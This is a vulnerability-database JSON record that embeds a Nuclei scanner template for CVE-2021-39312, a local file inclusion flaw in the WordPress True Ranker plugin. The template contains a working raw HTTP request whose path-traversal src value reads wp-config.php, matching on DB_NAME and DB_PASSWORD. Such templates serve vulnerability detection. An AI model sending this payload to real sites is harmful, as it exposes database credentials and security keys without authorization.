{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2021-39312/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2021-39312/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2021-39312/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2021-39312/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2021-39312/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2021-39312"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2021-39312"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2021/CVE-2021-39312.yaml",
    "nuclei_template_severity": "high",
    "nuclei_template_yaml": "id: CVE-2021-39312\n\ninfo:\n  name: WordPress True Ranker <2.2.4 - Local File Inclusion\n  author: DhiyaneshDK\n  severity: high\n  description: WordPress True Ranker before version 2.2.4 allows sensitive configuration files such as wp-config.php, to be accessed via the src parameter found in the ~/admin/vendor/datatables/examples/resources/examples.php file via local file inclusion.\n  impact: |\n    Unauthenticated attackers can read sensitive configuration files like wp-config.php via local file inclusion, exposing database credentials and WordPress security keys.\n  remediation: Fixed in version 2.2.4\n  reference:\n    - https://wpscan.com/vulnerability/d48e723c-e3d1-411e-ab8e-629fe1606c79\n    - https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39312\n    - https://plugins.trac.wordpress.org/browser/seo-local-rank/tags/2.2.2/admin/vendor/datatables/examples/resources/examples.php\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-39312\n    - https://github.com/ARPSyndicate/cvemon\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2021-39312\n    cwe-id: CWE-22\n    epss-score: 0.77944\n    epss-percentile: 0.99559\n    cpe: cpe:2.3:a:trueranker:true_ranker:*:*:*:*:*:wordpress:*:*\n  metadata:\n    max-request: 1\n    vendor: trueranker\n    product: true_ranker\n    framework: wordpress\n  tags: cve,cve2021,unauth,lfr,wpscan,wp-plugin,lfi,wp,wordpress,trueranker,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /wp-content/plugins/seo-local-rank/admin/vendor/datatables/examples/resources/examples.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        Cookie: wordpress_test_cookie=WP%20Cookie%20check\n\n        src=%2Fscripts%2Fsimple.php%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwp-config.php\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"DB_NAME\"\n          - \"DB_PASSWORD\"\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a004730450220706f76f7e8aa04c6d6bd6e74b977241fdf59fc1e2333fb787b4e2f672abd4a5702210095bbed4ea5ff2951ce333fb5b7afca1a2a53cb41e1605c27901c07dc3b2702c9:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2021-39312"
}